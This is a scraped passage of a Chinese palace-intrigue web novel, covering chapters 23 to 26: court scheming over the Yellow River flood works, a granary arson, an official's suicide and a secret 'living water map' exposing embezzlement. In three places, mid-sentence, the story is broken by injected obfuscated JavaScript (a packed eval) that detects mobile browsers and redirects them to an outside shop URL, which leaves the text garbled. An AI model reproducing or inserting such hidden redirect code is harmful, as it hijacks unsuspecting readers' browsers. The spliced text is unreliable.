他静静地看着那纸张在火舌中化为飞灰,最后连一丝痕迹也未曾留下,眼神却穿过那跳动的烛焰,望向了深不可测的黑暗。 郭亮……这步棋,怕是已经走到死局了。 靳忠微微眯起了那双总是盛着谦卑笑意的眼睛。 秦王赵玄如今风头日盛,这在旁人看来是天大的恩宠,但在他这等久随君侧之人眼中,却未必是福。陛下今日之所以对秦王那套“募工兴利”的新政大加赞赏,甚至不惜为此连下两道圣旨,无非是因为此策,恰好搔到了陛下的痒处。 黄河水患,乃国之顽疾,更是陛下的心头大患。此症结盘根错节,早已非一日之寒,牵扯着从地方到朝堂无数世家权贵的利益。陛下非不能治,实不愿治也。如今,既有秦王这般“热血”的皇子愿意主动请缨,去啃这块最硬的骨头,去当那个冲锋陷阵的靶子,陛下自然是乐见其成。 成了,是皇恩浩荡,君父神武;败了,亦不过是秦王操之过急,思虑不周。无论胜败,于陛下而言,皆是稳赚不赔的买卖。 可朝局之诡谲,又岂是这一件事便能定论的? 晋王赵辰,手握兵权,骄横跋扈,乃军方勋贵之首;楚王赵奕,才名远播,清流拥趸,为南方士族所望。这二人,皆非易与之辈。如今三王并立,储君之位依旧是雾里看花,谁人能说自己看清了结局? 在这扑朔迷离的棋局中,陛下今日那封发往雍州的敕书,才真正是落下的妙手,令人玩味。 太子无能,贪功冒进,激起民怨,已是天下皆知。可陛下非但不罪,反而温言抚慰,言辞恳切,嘱其好生“体察民情”,不必急于归京。 这其中深意,若非如他这般,在君王身边侍奉了数十年,早已将一颗心磨得七窍玲珑之人,又有谁能真正窥破那九重宫阙之后的帝王心术? 赵渊此书,看似体恤,实则字字皆是枷锁。这一道旨意,便等同于将太子软禁在了雍州,彻底剥夺了他回京争辩、收拾人心的机会。 当然,还有更深一层。 只要太子赵钰的储君之位一日未废,他便是悬在诸位皇子头顶最名正言顺的利剑,是朝堂党派得以暂时平衡的秤砣。若此刻太子轰然倒台,朝中必将掀起一番惨烈的恶斗,那才是陛下最不愿看到的局面。 帝王之道,在于制衡。 靳忠想到此处,心中对赵渊的敬畏又深了几分。 不过……无论这储君之位最终花落谁家,看陛下今日对朔津之事的雷霆之怒,郭亮那边,怕是再无翻身的机会了。 想到这里,靳忠的嘴角,逸出一丝几不可察的自得笑意。幸好自己多年来行事谨慎,与那郭亮虽有往来,却仅止于几句场面上的称兄道弟,从未收过他一分一毫的好处。如今他大厦将倾,自然也牵连不到自己身上。 为奴者,最要紧的便是这八个字:知进退,明得失,懂取舍。 正当他沉浸在这份独善其身的通透之中时,眼角的余光,却瞥见那正为他浣足的小黄门,正抬着头,用一种好奇的目光偷偷打量着自己脸上那抹转瞬即逝的笑意。 靳忠的脸色瞬间沉了下来。 “啪!” 一声清脆刺耳的响声,在寂静的掖省内炸开。 他反手一记响亮的耳光,狠狠地抽在了那小黄门的脸上,力道之大,直接将那瘦小的身子打得一个趔趄,滚到了一旁。 “没规矩的东西!”靳忠的声音依旧不高,却带着一股子淬了冰的寒意。 那小黄门吓得魂飞魄散,也顾不得脸上火辣辣的疼痛,连滚带爬地跪了回来,一边重重地磕头,一边颤声道:“奴婢该死!奴婢知罪!干爹息怒,干爹息怒!” 靳忠冷冷地看着他,缓缓将脚从铜盆中抬起。 “揣测主子心意,乃是宫中第一等的大忌。若是在御前让你这般当值,不出半炷香的功夫,你的脑袋便要与脖子分家了!” “干爹教训的是!奴婢以后定当谨记于心,再不敢犯!”那小黄门抬起头,半边脸颊已经高高肿起,嘴角渗出血丝,眼中却满是机敏与后怕,“奴婢一定用心学,日后好为干爹分忧。” “哦?”靳忠看着他这副模样,心中的怒气倒消减了几分,“你倒是个机灵的。” “奴婢这点机灵,都是平日里看干爹为人处世,耳濡目染学来的。” 这话,既是奉承,又带着几分真诚。靳忠挑了挑眉,“你叫什么名字?” “回干爹,奴婢贱名刘振。” “刘振……”靳忠默念了一遍,点了点头,却没再多言,只是将脚伸向另一名早已吓得不敢动弹的小黄门,“宫里的学问,深着呢。慢慢学吧。” “是,奴婢记下了。”刘振恭敬地再次叩首。 靳忠对他已然失去了兴趣,不耐烦地摆了摆手。 刘振和另一个小黄门如蒙大赦,不敢抬头,弓着身子,端着铜盆,碎步倒退着,快步退出了掖省。 待房门被轻轻合上,掖省之内,再次恢复了那令人窒息的安静。靳忠缓缓闭上眼睛,仿佛什么都未曾发生过。只是那跳动的烛火,将他脸上那深邃的皱纹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766982|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,映照得愈发晦暗不明。 * 朔津郡最大的官仓——永丰仓外。 奉旨协同查案的侍御史陆琰,一身酱紫色官袍,头戴獬豸冠,面目森冷。他与一身青金铁甲、按剑而立的彭坚并肩。在他们身后,站着百名刀剑出鞘的朔津郡兵。此兵马,监乃是监察御史陆琰凭天子节钺,自朔津郡尉府临时征调,以行“清查仓储,震慑宵小”之权。 那朔津郡守及一众官吏也跟在一旁,噤若寒蝉。 “开仓!” 随着陆琰清冷威严的声音落下,仓储大吏战战兢兢地上前,用颤抖的手开启了那一道道厚重的门锁。 “嘎吱——” 尘封的仓门缓缓洞开,一股陈年谷物霉变的气息扑面而来。 兵士们举着火把,正欲入内。就在此时,一股浓烈刺鼻的、混合着桐油与硫磺味道的黑烟,毫无征兆地从仓库深处猛地翻涌而出!紧接着,橘红色的火光冲天而起,伴随着木料燃烧发出的“噼啪”爆裂之声,瞬间便将半个仓库吞噬! “走水了!” “祝融之灾!” 外面的官吏们发出了惊恐的尖叫,场面瞬间大乱。 “乱什么!”彭坚一声暴喝,镇住场面,“所有官吏,原地跪下,不许妄动!秦王亲卫,随我来!” 彭坚带领卫兵往仓库后方奔去,滚滚浓烟之中,只见一个黑影,正沿着墙角的阴影飞速奔跑! “贼子休走!”彭坚大喝。 彭坚虎目圆睁,脚下猛地发力,整个人如离弦之箭般追了上去!眼看那人就要逃出侧门,彭坚不再犹豫,从腰间抽出一柄随身的短戟,用尽全力,猛地掷出! “咄!” 短戟破空而去,越过人影的耳朵,钉在旁边一棵树上,戟尾兀自“嗡嗡”作响。 那黑影为躲短戟向侧方滚去,就是这片刻的耽搁,彭坚已如猛虎下山般扑到近前,铁钳般的大手一把便扣住了对方的咽喉,将他死死地按在了墙上! “说!受何人指使!”彭坚厉声喝问。 被他制住的是个身材瘦小的汉子,他眼中忽然闪过一丝决绝的凶光。他猛地一咬牙,脸上的表情瞬间凝固,随即,一股黑色的血液,从他的嘴角汩汩流出。 “不好!”彭坚心中大骇,连忙伸手去捏他的下颚,却已为时已晚。 那人浑身一阵剧烈的抽搐,脑袋一歪,便彻底没了声息。他竟是早已在齿间藏了剧毒,见事败,便毫不犹豫地咬碎毒囊,当场自绝! 彭坚怔在原地,看着这具尚有余温的尸体,一股寒意从心底直冲而上。 …… 秦王营帐之内,听完彭坚的紧急回报,赵玄霍然起身。 “彭坚!” “末将在!” “你立刻点齐帐下所有亲卫,前往河道官署,将李世昌控制起来!若有拦阻,格杀勿论!” “末将遵命!”彭坚抱拳领命,转身大步流星地离去。 帐中僚属互相看了看,皆现出担忧之色,冯玠道:“正是怕有人火烧仓库,咱们已派人连夜看守,就等御史陆琰持天子节钺前来,调兵查抄,谁知此等严防死守,仍然被他们钻了空子。” 陈岚道:“殿下,我们如此严防,他们竟能派出死士放火,那与此事关系重大的李世昌,恐怕……” 赵玄坐回榻上,面色凝重,久久不发一言。 众人知道此时多说无益,便都不再说话,只等彭坚回来。 半个时辰后,河道官署。 彭坚一脚踹开了李世昌那间雅致的书房大门。 房内,一片死寂。 檀香的余烬尚在炉中,几案上的茶,也仿佛还带着一丝温热。 房梁之上,李世昌的官服穿得整整齐齐,身子正随着穿堂而过的冷风,微微摇晃。 24.第 24 章 太子行辕一个僻静的厢房之内,白逸襄正伏于张案几拼凑的大桌之上,为一幅繁复至极的舆图,落下最后一笔。 不远处的绳床①上,石头正翘着腿,一边晃荡,一边将一枚枚蜜饯抛进嘴里,吃得津津有味。 就在这时,窗棂微动,一道黑影如夜鸦落羽,悄无声息地滑入房中。 待黑影站定,石头才猛地惊觉。 “谁!” 石头吓得一激灵,嘴里的蜜饯都险些掉出来。他从绳床上弹起,抄起一旁的木凳,作势便要扑上去。 “石头莫慌!” 白逸襄连忙道:“来人是客!” 石头愣了一会,这才想起白逸襄之前说过此人,叫什么……十几来着? 石头挠挠头,实在想不起来,索性不想。他快步挪到白逸襄身侧,并未放松警惕,死死的盯着来人。 那人一身漆黑,连身上的金属环扣都是纯黑色的。 他不高不矮,身形虽细,却能感觉到每一块被布料包裹的肌肉蕴含的爆发力。 对气味十分敏感石头,甚至能闻到对方身上散发出的冰冷河水夹杂着枯叶的味道,这种味道刺激着石头的感官,激发出了他野兽般的危险预警。 他从没有过这种感觉。 这个男人…… 十分危险! 白逸襄注意到了石头的紧张,拍了拍他的肩膀,安抚道:“没事,自己人。你去门口守着,莫让任何人靠近,包括巡夜的兵士。” 石头虽不情愿,但还是听话地点点头。他一步三回头地朝门口走去,临走前还不忘用眼神狠狠地“警告”了影十三。 影十三压根未注意他,目光锁着白逸襄,待房门被轻轻合上,隔绝了外面的雨声与视线,影十三便拿出包裹的竹筒,置于案上。 此次,他并未退入暗处,而是抱胸而立。 白逸襄瞟了他一眼,感觉影十三的身形过于笔直,笔直到似乎能将他楔入木缝中。 白逸襄忙收起自己荒谬的想法,拆开信笺,只见信上寥寥数字,字迹因书写者的焦灼显得急促沉重:粮仓被烧,主犯自尽,先生可有良策? 白逸襄缓缓将信纸凑近烛火,看着它在火焰中蜷曲、化为飞灰。他脸上并无半分惊诧,仿佛这信中所言,不过是棋局上一颗早已预料将被吃掉的闲子。 “殿下此刻,”白逸襄抬起眼,声音平静地穿过烛火,“可是觉得已至山穷水尽之处?” 影十三没有说话,也没有点头。 白逸襄深吸一口气,还是与紫烟姑娘沟通顺畅啊…… 不说他也知道,赵玄虽持有治水上策,但治水为长期大业,非一日之功。以工代赈之法,若不把这条线上贪赃枉法的官员一网打尽,换成朝廷可信的廉洁能臣,那便会处处掣肘,无法顺利推进。 如今掌握重要线索的李世昌突然自尽,其身后的大鱼便自觉安全,仍然可以从其他方向兴风作浪,扰乱赵玄推行治水新政。 “呵……”白逸襄露出一抹淡淡的笑意,他缓缓转身,指向身侧那幅需要四张案几才能承载的舆图。 “回去告诉殿下,人证已绝,便去寻这图中的‘活证’。祝融之火,能焚尽仓中粟米,却烧不掉这江河之上的人心脉络。真正的‘答案’,都藏在这张‘活人水图’里。” 活人水图? 这词影十三闻所未闻,他未作迟疑,疾步上前,当他的目光落在图上,那双古井无波的眼眸,瞬间瞪得老大,呼吸都为之一滞。 白逸襄看着他震惊的神情,满意地笑了笑。他走到案几另一头,小心翼翼地将这幅用特殊鞣制过的皮革制成的巨大舆图卷起,装入一个特制的长筒皮囊中,递给了影十三。 “此图,便是殿下反败为胜的屠龙之术。收好。” 影十三迅速回过神来,他极为恭敬的接过舆图,以皮带缠绕背在身后,对着白逸襄,深深地一抱拳。 “先生高才,十三佩服。” 真难得…… 竟然主动称赞,看来若想让他说话,必须大有作为才行。 “影护卫,谬赞。”白逸襄抱拳回礼,接着朝窗户做了个请的手势,算是与他道别。 但影十三没有像往常一样立即离开,而是从怀中摸出一个精致的皮夹。 他展开皮夹,夹中静静地躺着一排细如牛毛的金针,在昏黄的烛光下,折射出森然的寒芒。 “知渊先生,请。” “咳……咳咳!” 白逸襄瞪大眼睛,立刻剧烈地咳嗽起来,他连连摆手,“影护卫,此图事关重大,片刻耽误不得!殿下正翘首以盼,你速速归去,莫要因我这残躯,误了军国大事!” 影十三却不为所动,他将金针捏在指尖,缓缓逼近。 “主子有令。”他低沉沙哑的声音不带任何波澜,“军国大事再急,也不及先生一分安康重要。” * 秦王帐内,烛火在风中摇曳,将秦王三位近臣的影子投在墙壁上,拉得扭曲而漫长。李世昌自尽,粮仓焚毁,所有线索都随着那一场大火化为灰烬,此案已成死局。饶是冯玠老成谋国,陈岚智计百出,此刻亦是束手无策,唯有相对枯坐,长吁短叹。 就在众人皆以为山穷水尽之际,门帘被猛地掀开,一道裹挟着夜雨寒气的黑影闪了进来。 那黑影正是影十三。 三位近臣皆与影十三打过交道,又是跟所秦王多年的心腹,影十三并不需要忌讳此三人。 影十三风尘仆仆,黑衣上还带着未干的雨水,他单膝跪地,从背后取下一个厚重的皮囊,双手奉上,声线沉肃如铁:“殿下!知渊先生有口信传来——人证虽亡,物证尚在!” 此言一出,满室沉寂瞬间被打破! 赵玄霍然起身,亲自上前接过皮囊,在巨大的案几上将其展开。 当那幅恢弘无匹的舆图完全呈现在众人眼前时,饶是帐中皆为见过大场面的众人,亦忍不住倒吸一口凉气。 这,早已超脱了一张舆图的范畴。 它以大靖广济运河为主脉,用朱砂与墨线,勾勒出了一张覆盖了南北水系的、活生生的巨网。图上没有标注寻常的山川地势,而是密密麻麻、星罗棋布地标注着一个个看似无用的“节点”——码头的脚夫、渡口的船家、河畔的茶肆、青楼、鱼市……每一个节点旁,都用蝇头小楷注明了暗语、接头之人与联络之法。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16769099|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 无数条细如蛛丝的墨线将这些节点串联起来,形成一张无形的天罗地网。它仿佛有自己的生命,在众人眼前缓缓呼吸、流动。 看着它,便好似俯瞰着整个帝国水面之下的暗流涌动,能听到那无数底层人物的窃窃私语,能看到那每一艘船只的诡秘航迹。 此非舆图,乃是一卷“人间世相图”,一册“活人账簿”! “他娘的!” 素来沉稳的宿将彭坚,此刻再也按捺不住,他双目圆瞪,一拳砸在案几上,发出的闷响却难掩其声线中的颤抖,“知渊先生真乃神人也!我等在此处如热釜之蚁,坐困愁城,他远在朔州,竟似……竟似亲临此地,洞若观火!” 赵玄修长的手指缓缓抚过图上那密密麻麻的小字,眼神中翻涌着前所未有的惊涛骇浪。 不,白逸襄不是看见了,他是……算到了。 他算到了李世昌会用自尽来斩断线索;算到了我们会陷入这般进退维谷的绝境;更算到了……这张图,才是我们唯一的破局之法。 一直以来,他知白逸襄聪明过人,有王佐之才,可那份认知,与此刻亲眼目睹这幅“活人水图”所带来的巨大冲击相比,不过是萤火之于皓月! 此乃经天纬地之才! “殿下,” 参军冯玠的眉头紧紧蹙起,他指着图中一处极为隐秘的标注,声音中带着一丝敬畏与更深的疑虑,“此图之精妙,鬼神莫测。然,知渊先生身处朔州,是如何对千里之外的漕运脉络,乃至郭党私下的金银流转,知之甚详的?” 主簿陈岚眼中闪烁着异彩,他大胆推测道:“莫非……郭亮一党背后,本就是太子殿下在操控?而知渊先生曾为太子心腹,亲身参与了此等布局?” 冯玠神色一凛,沉声道:“若真如此,此人为何倒戈于殿下?其心难测,殿下,用此人,不可不防啊!” 陈岚却摇了摇头,反驳道:“冯公此言差矣。以知渊先生之大才,若非看清时局,断不会轻易易主。想必是他早已权衡,遍观大靖皇子,唯有殿下可成明主,故而弃暗投明。此非异心,乃是远见卓识!” 两人争论不休,赵玄却始终沉默。 他确实从未真正信任过白逸襄。这样一个智谋深不可测之人,如同一柄绝世双刃剑,能助他披荆斩棘,亦能瞬间将他反噬。 若他真心归附,他必以国士之礼待之,共享天下。 可若他身怀异志,暗藏祸心…… 赵玄的眼中闪过一丝冰冷的寒意。 思绪电转,赵玄心中已然定下心神。 对白逸襄乃,用之,利之,防之。 他抬起手,止住了众人的议论,脸上恢复了镇定与威严:“诸君无需多虑。知渊先生为孤出谋划策,屡建奇功,其心之诚,日月可鉴。眼下,破局为要。” 赵玄的目光落回图上,众人立刻会意,围拢过来。很快,他们便发现了白逸襄真正的意图。 在那条贪墨银两流转的墨线尽头,一个用朱笔重重圈出的地方,标注着两个字——“孟津”。 而在孟津上游一处极为偏僻的河段,赫然画着一座水坝的雏形,旁边写着一行小字:“偷梁换柱,水淹为计,毁尸灭迹。” 25.第 25 章 所谓的“物证”,就是这座藏在深山之中,用贪墨的银两偷建的“违规大坝”! 赵玄精神大振,立刻下令:“公输越何在!” 少时,公输越奉命而来,他原本对黄河水利抱有疑虑,但当他看到这张“活人水图”时,顿时惊为天人。 赵玄亲率一队精锐,在公输越的指引下,按图索骥,果然在深山之中找到了那座伪装成山体滑坡的秘密水坝! 公输越将那张“活人水图”奉若神明,不眠不休三日,把自己关在绘制着水利图的帐中。他发现,白逸襄在图上标注的,远不止是地理位置,更有常年累月的水文变化、潮汐规律,甚至标注了某段河堤在不同季节的吃水深浅。这些数据,是任何工部档案中都寻不到的“活数据”。 之前,公输越虽也察觉堤坝用料低劣,但苦于无法将此罪直接与远在京师的郭亮相连。郭亮大可以一句“所用非人,监管不力”将自己摘得干干净净。然而,当他看到图上那句朱笔批注——“偷梁换柱,水淹为计,毁尸灭迹”时,一道闪电划破了他的思绪! 他立刻明白,这座大坝的罪恶,不在于“偷”,而在于“用”!它根本不是一个单纯的豆腐渣工程,而是一柄蓄势待发的“凶器”! 依据图上数据,公输越迅速推演,他发现这座大坝的设计极其阴毒:它蓄水能力远超泄洪能力,且坝体最脆弱处,正对下游一处早已废弃的古河道。一旦人为引爆,洪水将如同一条受人操控的毒龙,精准地冲毁下游作为赃款中转站的几处秘密仓储,却又不至于造成无法收拾的大范围洪灾。一场精心策划的“天灾”,足以将所有贪墨的账目亏空与罪证,冲刷得一干二净!这从营造之术上,便锁死了其“人祸”而非“天灾”的本质。 “殿下!”公输越冲出营帐,双目赤红,声音嘶哑而亢奋,“臣找到了!此坝便是他们的‘灭罪之器’!可……可动机何在?如此巨额的贪墨,金银又流向了何方?” 赵玄的目光,早已落在了“活人水图”的另一部分。那是一条用墨线描绘出的,蜿蜒于运河之上的“黑金水道”。 白逸襄在图上清晰地揭示了郭亮一党如何将国帑化为私产的惊天手段:他们在黄河沿岸,将克扣的巨额工程款,以“采买石料、木材”等虚假名目,交给几个由郭党门生亲族暗中掌控的漕运商号。这些商号的船队,实则空船南下、伪造账目,将赃款伪装成“合法”的贸易利润。而后,这些洗白的“黑金”,或通过地下钱庄汇往京师,或直接购买奇珍异宝、古玩字画,最终如涓涓细流,汇入郭亮及其党羽在京城的各个宅邸与商铺之中。 “好一个‘官商一体,黑金暗渡’!”冯玠看得手脚冰凉。 赵玄当即立断,派遣数队心腹,按图索骥,分头查证。果然不出所料:一路人马在图中标注的隐蔽渡口,截获了“恒通号”的漕船,船上空空如也,舱底夹层中却搜出两套账本,一套光鲜亮明,一套记录着触目惊心的黑金流转;另一路人马在京城,查封了图上所指的数家当铺与宅邸,其主人皆与郭亮党羽有千丝万缕的联系,且根本无法解释这些巨产的来源! 人证、物证、赃款、赃物……所有的一切,都与“活人水图”上的描绘分毫不差! 陈岚抚着图上那些密密麻麻的“节点”,不禁发出疑问:“殿下,如此庞大隐秘的脉络,牵涉无数江湖底层人物,绝非一日之功可成。知渊先生是如何构建此网的?” 赵玄亦是疑惑,莫非他有神鬼莫测之能,可窥见天机? 可事情紧急,他并无暇多想。 赵玄即刻命玄影卫顺着图上几个关键情报节点的来源反向追查。三日后,一个名字被呈到了他的案头——龙四。 此人乃大运河上说一不二的漕帮之王,为人神秘,手段狠辣,用十数年光阴,将无数船夫、脚夫、茶馆伙计、青楼女子编织成了这张无孔不入的“活人水图”。起初,此图仅用于他垄断生意、打击对手、打探江湖消息。他并不知道,自己卖给某个神秘“大主顾”(实为白逸襄通过中间人)的情报,竟会掀起朝堂之上的滔天巨浪。对于自己这张网被卷入储位之争,这位“地下水路之王”至今仍被蒙在鼓里。 “殿下!”陈岚眼中精光大盛,向前一步,拱手道:“这龙四与其‘活人水图’,便是我大靖水面之下的‘第二官府’!此等人物,此等力量,若能为我等所用,将来无论是要钳制太子在江南的势力,还是要彻查吏治积弊,皆是无上利器!此番天赐良机,何不趁势将其收归麾下?” 冯玠抚须沉吟道:“陈参军所言极是。然,此等江湖枭雄,桀骜不驯,寻常使者前去,恐遭轻慢;若遣朝中大员,又显刻意,反令其心生警惕。怕是不易招抚。” 赵玄踱步至窗前,目光投向远方夜色中奔流不息的黄河,嘴角却缓缓勾起一抹意味深长的笑意。“冯公所虑极是。所以,此事非皇亲国戚,不足以显其重;非市井中人,不足以与其言。” 冯玠与陈岚互相看了看,“何人有此双面?” 他转过身,帐中烛火映照着他深邃明亮的眼眸,突地微微一笑,“此事,唯有一人可担此任——韩王,赵楷。” “韩王殿下?”众人皆是一怔。 陈岚闻言,却是双目一亮,恍然大悟,抚掌赞道:“妙啊!殿下英明!韩王殿下乃天潢贵胄,亲王之尊,由他出面,足以彰显我等最大的诚意与看重,此为‘皇威’,令那龙四不敢不敬!” 他话锋一转,继续道:“然韩王殿下又非寻常宗室,他游戏风尘,深谙三教九流之道,与市井豪客打起交道来,自有其一套法门。既能以势压人,又能以情动人,恩威并施,此事必成!放眼宗室,舍他其谁?” 赵玄回到案前,亲自研墨铺纸,笔走龙蛇,沉声道:“彭坚,取本王令箭,再备八百里加急快马。” 信中写道:弟,即刻动身,前来朔津,与兄共商大计…… * 赵楷收到赵玄的信后,并未直接前往朔津,而是先抵达清平郡,太子赵钰这里。 赵楷头戴巾帻,身穿一袭银丝织成的宽袖纱袍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777068|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,袍角以更深的银线绣着暗纹,腰间悬着一块淡绿色玉佩,手摇一柄鸡血红的麈尾扇,扇柄以象牙雕成,红白强烈对比之下,色美如画,比以往更显风流。 “皇兄!”赵楷大步流星地走进主帐,对着上首的太子赵钰便是一个热络的拥抱,仿佛真是许久未见的亲兄弟,“一别数月,小弟对皇兄甚是思念啊!” 突如其来的不速之客,令太子眉间的皱纹还未化开,脸上已堆起了热情的笑容。他拍了拍赵楷的背,立刻命人设宴,召集行辕内的主要官员作陪。 酒过三巡,菜过五味。太子挥退了歌舞伎,故作愁容地叹了口气:“三弟有所不知,孤在此治河,实是劳心劳力,内有官吏掣肘,外有流民嗷嗷。唉,父皇将此重任交托于孤,孤只恐有负圣恩啊。”他一边诉苦,一边不动声色地观察着赵楷的神色,“不知……近来京中风向如何?父皇圣心安否?” 赵楷呷了一口美酒,漫不经心地摇着麈尾扇,笑道:“皇兄多虑了。父皇近来醉心丹道,少问政事。京中风平浪静,倒是二哥,在朔津那边闹出好大动静,听说连太原王氏的面子都驳了,当真是年少锐气。” 他三言两语,既安抚了太子,又巧妙地将矛头引向了赵玄。 赵钰闻言,脸色稍霁,心中却生出另一番警惕。 赵楷仿佛没看见,话锋一转,目光落在了一言不发的白逸襄身上,眼光更亮:“说起风雅之事,弟此来,正有一事相求于皇兄。” 他站起身,对着赵钰遥遥一举杯,“再过一月,便是江南名士一年一度的‘清谈会’。届时,三山五岳的名流雅士齐聚,品评人物,纵论文采。弟也收到邀请,可身边总缺个能镇住场面的高士。” 听闻此话,白逸襄终于抬头看了赵楷一眼,赵楷则顺势走到他身前,目光灼灼地看着他:“谁人不知,‘麒麟才子’白逸襄,才冠天下!皇兄,你便将知渊先生借与小弟一月,随我同游江南。有知渊先生这等‘天下第一’在侧,岂不教那些江南腐儒知晓,我赵氏皇族亦有卧龙凤雏?” 这番话说得半是恭维,半是理所当然,听得在座官员面面相觑。 白逸襄莫名其妙,不知这韩王葫芦里卖的什么药。 他侧了侧身子,以竹扇掩面,似是怕被他传染了浪荡味。 白逸襄道:“韩王殿下谬赞,在下才疏学浅,恐难当此任,况且太子殿下这里……” 赵钰也道:“白詹事身子弱,前番又大病一场,至今仍在调养,怕是经不起长途奔波。” 他岂会轻易将自己的首席谋主,也是自己的左膀右臂,借给这个看似不务正业、实则心思难测的弟弟? “哎呀!”赵楷一拍大腿,“不巧不成书!小弟我正好识得一位云游的杏林圣手,人称‘活死人’扁氏神医,专治各种虚劳之症!正好请他为知渊先生根治顽疾,岂不两全其美?” 他突然跪坐在太子身边,一副“你不答应我便不走”的无赖模样。 在座各位文武官员,全都别过脸去,实在没眼再看。 26.第 26 章 赵钰被他搅得头疼,正欲再度拒绝。赵楷却忽然凑到他耳边,用只有两人能听见的声音道:“皇兄,请屏退左右,只留白詹事一人,臣弟有要事相商。” 赵钰听闻此话,立即屏退左右,厅内只留赵楷与白逸襄。 赵楷脸上的笑意忽然收敛了几分,神情变得前所未有的凝重。 “皇兄,小弟在京中,偶然截获一封密报。”赵楷压低声音,“二哥在朔津,从一个叫‘龙四’的漕帮之主手里,似乎挖出了一条线不见光的财路。这条路……风传与郭常侍有些干系。” 赵钰瞳孔骤然一缩,握着酒杯的手指猛地收紧,骨节泛白。他面上却强作镇定,冷哼一声:“荒唐!孤在此治河,京中之事一概不知。郭尚书乃朝之重臣,二弟行事虽有章法,但也不可凭空污人清白。三弟莫非听信了什么市井谣言?” 赵楷直视着他的眼睛,一字一顿地道:“我自然信皇兄与此事无涉。可那密报中说,龙四此人,不仅与北地有牵扯,他那条水道的源头活水……似乎有几股来自江南。而皇兄在江南的几处产业,恰好就在那活水之畔。” “放肆!”太子勃然变色,拍案而起。一股冰冷的寒意从他背脊窜起,瞬间遍布四肢百骸。他与郭亮确有隐秘的银钱往来,但那仅仅为一些亲戚之间的“礼尚往来”罢了,江南产业的确为郭亮所赠,但那产业来源为何,他却不曾得知! 而“龙四”这个名字,他依稀在幕僚的密报中见过,似乎的确有郭亮有所牵扯,可这事,与他何干? 赵钰心念电转,死死盯着赵楷:“三弟,你到底想说什么?莫不是二弟派你来,用这等捕风捉影之谈构陷于孤?” “皇兄误会了!”赵楷一脸诚恳,甚至带着几分委屈,“若真是二哥的意思,我何必绕开他,先来见您?正因我截获了这份情报,知道二哥为人……刚正不阿,眼里揉不得沙子。若他顺藤摸瓜,真查到了皇兄的产业上,届时呈到父皇面前,哪怕皇兄是清白的,也难免落个‘失察’之罪。你我乃一母所生,手足之情,血浓于水,小弟怎忍心看皇兄陷入这般境地!” 他见赵钰面色稍缓,但疑虑未消,便又走近一步,声音压得更低了: “皇兄,二哥的性子,您定是比我还清楚。他是一柄刚刀,只知斩断,不知转圜。此事一旦沾上,便是甩不脱的泥。父皇近日本就对他青睐有加,若您再因此事受了申饬,这朝堂之上……” 这番话,如一柄重锤,狠狠砸在太子的心坎上。他最怕的就是这个!赵玄原就因剿匪有军功在身,此次治河又雷厉风行,声望日隆。若自己再与郭亮案牵扯不清,储位必将岌岌可危!况且,除了老二赵玄,还有老四、老六在后虎视眈眈…… 太子的额头渗出细密的冷汗,他颓然坐下,声音沙哑:“那……依三弟之见,当如何是好?” 赵楷见他已然信了七八分,这才图穷匕见:“解铃还须系铃人。此事关键,就在于那个龙四!必须赶在二哥的人之前,让他闭嘴,或者……让他换个说法!将所有与江南相关的线索,都掐断!” 他顿了顿,满脸“为难”地看了一眼白逸襄:“只是……小弟素来给人游戏风尘的印象,那龙四是何等江湖枭雄,未必信我。且此事需做得滴水不漏,言辞之间,既要威逼,又要利诱,分寸拿捏,难如登天。小弟思来想去,唯有请知渊先生与我同往。凭先生之机变、口才,定能拟出一套天衣无缝的说辞,说服龙四,为皇兄永绝此患!” 白逸襄看着两人你来我往,当面斗法,原本正看得兴起,赵楷突然话锋一转,自己又成了话题的焦点。 这才明白他为何这般迂回地连哄带吓的对待太子。 可他又不明白,为何赵楷要大费周章的带他走? 白逸襄眼珠转了又转,仍是想不出缘由,但赵楷乃赵玄党一员,应当不会胡来,想必赵玄有要事安排? 赵钰听了赵楷的话,沉默了好一会,他看着垂手而立、神情平静的白逸襄,又看了看一脸“为兄分忧”的赵楷,心中急速权衡。 此计无疑是饮鸩止渴,但眼下已无更好的办法。赵楷说得对,赵玄那脾气,绝不会为他遮掩。 良久,赵钰长长地吐出一口气,仿佛下定了决心。 “好!”他看向白逸襄,眼神复杂,“知渊,你便随韩王去一趟!此事关乎孤之清誉,以及……我赵氏江山的安稳,万万不可有失!” 白逸襄长揖一礼,动情道:“逸襄领命,定不负太子所托。” 赵楷嘴角隐隐浮出笑意,连忙用扇子掩面,发出一声慨叹。 “事不宜迟,白詹事,你我即刻启程吧!” * 月华如水,韩王马车之内,两人面面相觑,半晌无语。 直到马车出城,白逸襄才道:“韩王殿下今日这出戏,唱得当真精彩。” 赵楷拱手笑道:“岂敢岂敢,若论唱戏,我怎比的上知渊兄?” 